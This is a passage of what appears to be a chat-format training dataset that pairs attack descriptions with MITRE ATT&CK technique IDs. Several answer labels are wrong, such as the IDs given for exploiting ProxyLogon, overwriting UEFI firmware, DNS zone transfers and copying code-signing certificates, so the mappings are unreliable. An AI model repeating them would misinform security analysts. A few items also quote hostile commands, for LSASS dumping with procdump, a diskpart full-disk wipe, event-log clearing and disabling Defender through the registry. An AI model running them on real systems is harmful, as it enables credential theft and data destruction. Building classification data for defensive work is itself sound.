                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a legitimate backup service as a staging location for stolen data before extraction."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses Direct Memory Access (DMA) techniques to alter memory contents of a live system, affecting its operation."
            },
            {
                "role": "assistant",
                "content": "T1565.003 - Data Manipulation: Runtime Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor rented a virtual private server from an offshore provider to host command-and-control infrastructure for malware."
            },
            {
                "role": "assistant",
                "content": "T1583.003 - Acquire Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder used a Python SNMP library to enumerate the MIB tree of the target router."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy droppers uses runtime function resolution to call Network APIs without hard-coded imports."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware spawns a child process and then changes the parent PID in the access token to match that of a system service, allowing it to inherit elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes a compiled HTML (HTA) document to proxy system binary execution, allowing malicious script execution without alerting security tools."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the intruder uses PowerShell's Clear-EventLog cmdlet to remove all security logs from the compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1070.001 - Indicator Removal: Clear Windows Event Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script writes an encrypted credential blob to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor deletes or tampers with indicator files used by the endpoint protection solution to prevent detection of malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware stages data by copying files to a removable USB drive that has been attached to the target system."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor accessed the victim's cloud service console to change the encryption keys protecting storage buckets."
            },
            {
                "role": "assistant",
                "content": "T1538 - Cloud Service Dashboard"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script is delivered as a minimized, stripped version that lacks comments and metadata."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor includes dummy code blocks that serve no purpose but increase code size and complexity."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a step where the malicious actor clears any newly added registry run keys to hide persistence."
            },
            {
                "role": "assistant",
                "content": "T1070.009 - Indicator Removal: Clear Persistence"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A suspicious scheduled task was found executing \"procdump -ma lsass.exe\" to collect credential data from the memory of LSASS."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious app reads the securityd plist files from the device's keychain to steal stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker sets the 'ImagePath' value of a privileged service to point to a malicious payload, leveraging weak registry permissions."
            },
            {
                "role": "assistant",
                "content": "T1574.011 - Hijack Execution Flow: Services Registry Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was executed that called the Azure API to remove active virtual machines, wiping out critical workloads."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses a browser exploit to access the cookie store and extract the authentication token for the target web application."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a scheduled task on a remote Windows machine using at.exe to achieve persistence and further spread."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a compromised third‑party SaaS integration that used temporary cloud credentials to gain elevated access to the target cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1548.005 - Abuse Elevation Control Mechanism: Temporary Elevated Cloud Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The command‑and‑control agent queries the system for recent file access timestamps on user documents and only activates if they indicate active user work."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a targeted phone scam, the adversary claimed to be from the company's HR team, requesting employees' employee IDs and passwords for a 'policy update'."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious tool reads stored credentials from Windows Credential Manager to gain lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor executed \"snmpbulkwalk\" to pull extensive MIB data from the victim's switch."
            },
            {
                "role": "assistant",
                "content": "T1602.001 - Data from Configuration Repository: SNMP (MIB Dump)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries weaponize a fake software patch that overwrites the original client executable with a malicious version."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts a malicious compiled HTML (CHM) file and leverages mshta.exe to execute its embedded script, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.001 - System Binary Proxy Execution: Compiled HTML File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers compromised a cloud service’s authentication page, using a man‑in‑the‑browser technique to capture web portal credentials from users."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes the creation of a stealthy service account that is not listed in standard user enumeration tools and has its password set to a high‑entropy value."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit the fact that certain cloud regions are not enabled for security controls, deploying ransomware there."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves corrupting the VDSO mapping to replace legitimate function implementations with malicious ones for process injection."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary tampers with the site’s JavaScript bundle, causing loaded pages to display unauthorized content."
            },
            {
                "role": "assistant",
                "content": "T1491 - Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages the Linux 'cap_setuid' capability to change the UID of a process to 0."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An espionage group hides stolen credentials inside carrier wave audio files with steganographic overlay."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider provides a list of active user accounts and passwords, which the attacker then uses to bypass multi‑factor authentication and access sensitive databases."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker aggregates leaked files into a temporary local storage area on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CI/CD pipeline token was used to pull secret environment variables from GitHub Actions secrets, exposing deployment credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a process with a forged PPID and executable name that matches a standard Windows task, blending into the normal process hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A PowerShell payload encodes its commands using URL‑safe Base64 strings."
            },
            {
                "role": "assistant",
                "content": "T1001 - Data Obfuscation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script adds a directory containing malicious tools to the beginning of the PATH environment variable, causing subsequent command executions to run the malicious tools."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects a fake command-line string into the process table of a known Windows service, making the process appear as a standard update routine."
            },
            {
                "role": "assistant",
                "content": "T1564.010 - Hide Artifacts: Process Argument Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the threat actor copies the organization's code‑signing certificates from the PKI server to sign malware binaries."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged an exploit for the Microsoft Exchange Server ProxyLogon vulnerability to establish a foothold and deploy additional malware."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary harvests the victim's publicly available supplier and partner lists to map out business relationships and dependencies."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a compromised third‑party vendor, the attacker downloads a CSV file that lists employee names and positions for later exploitation."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The criminal organization sets up a DNS‑based tunneling service on a purchased domain to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries hijack a compromised web hosting account to install a backdoor on the web server."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised mobile device, the threat actor intercepted push notifications for Duo authentication and approved them before the user could respond."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries employ protocol impersonation by formatting their traffic to look like standard Kerberos authentication requests."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Use of rundll32.exe to run a DLL containing PowerShell code for persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion modifies the Windows registry to disable Windows Defender by setting the DisableAntiSpyware value to 1 under HKLM\\Software\\Policies\\Microsoft\\Windows Defender."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary adds a new privileged account to the domain controller to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware overwrites the UEFI firmware image on a target machine to persist even after OS reinstallation."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Credential dumping enables the attacker to obtain valid account credentials and log in remotely."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Users receive a fake IT support email asking them to disable multi-factor authentication and provide their login details."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor renamed a custom tool to \"lsass.exe\" and placed it in the System32 directory to masquerade as a critical Windows process."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries the internal DNS server for zone transfers to acquire the full domain structure."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a vulnerable web application to alter the intranet news feed, displaying a defacement message to all employees."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised host runs a Python script that calls 'socket.gethostbyname_ex' to list all IP addresses bound to the system."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker implements a reversible encryption layer over the authentication flow, enabling the extraction and decryption of user credentials without triggering alerts."
            },
            {
                "role": "assistant",
                "content": "T1556.005 - Modify Authentication Process: Reversible Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor leverages Google dorking to locate open directories and services belonging to the target."
            },
            {
                "role": "assistant",
                "content": "T1593.002 - Search Open Websites/Domains: Search Engines"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Phishing emails sent to acquire login credentials"
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A dropper writes Java source code to %TEMP% and runs javac to compile it, producing a JAR that performs further actions."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Insertion of a rogue transport agent into a mail flow service to archive and exfiltrate emails."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential-stealing campaign includes a keylogger that captures passwords typed into remote desktop sessions and writes them to a hidden log file."
            },
            {
                "role": "assistant",
                "content": "T1056.001 - Input Capture: Keylogging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the boot configuration data so the Windows machine always starts in Safe Mode, effectively disabling many security services."
            },
            {
                "role": "assistant",
                "content": "T1562.009 - Impair Defenses: Safe Mode Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leveraged the 'diskpart clean all' command to perform a full disk wipe on a compromised machine."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team extracts supplementary cloud access keys from a compromised Docker image's environment variables."
            },
            {
                "role": "assistant",
                "content": "T1098.001 - Account Manipulation: Additional Cloud Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By dumping the LSA Secrets from the registry, the attacker recovers cached credentials for logged‑in users."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages Kubernetes Job resources to run a malicious container on demand across the cluster."
            },
            {
                "role": "assistant",
                "content": "T1053.007 - Scheduled Task/Job: Container Orchestration Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker adds a GPO that redirects user folders to a network share they control."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks for the presence of a debugger by calling IsDebuggerPresent and aborts execution if a debugger is detected."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion adds a launchd plist on macOS to execute a data exfiltration script every hour."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker captured a Google Cloud service account access token from a misconfigured GKE pod and used it to interact with Google Cloud APIs, creating new VM instances."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering the Outlook Home Page setting to a compromised SharePoint site, the adversary triggers a drive-by download of ransomware."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
